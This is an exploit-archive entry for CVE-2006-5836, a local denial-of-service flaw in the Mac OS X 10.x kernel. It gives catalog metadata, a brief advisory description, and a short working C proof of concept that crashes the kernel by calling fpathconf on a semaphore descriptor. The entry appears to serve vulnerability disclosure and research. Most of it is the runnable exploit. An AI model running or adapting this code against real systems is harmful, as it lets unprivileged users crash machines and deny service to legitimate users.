[] NeoSense

Apple Mac OSX 10.x - FPathConf System Call Local Denial of Service

Author: ilja van sprundel
type: dos
platform: osx
port: 
date_added: 2006-11-09 
date_updated: 2013-10-14 
verified: 1 
codes: CVE-2006-5836;OSVDB-30216 
tags: 
aliases:  
screenshot_url:  
application_url: 

// source: https://www.securityfocus.com/bid/20982/info

Apple Mac OS X is prone to a local denial-of-service vulnerability because the kernel fails to properly handle the execution of a system call.

Exploiting this issue allows local, unprivileged users to crash affected kernels, denying further service to legitimate users.

#include <unistd.h>
#include <semaphore.h>

int main() {
fpathconf(sem_open("DaringWussball", O_CREAT, S_IRWXU, 1), 0);
}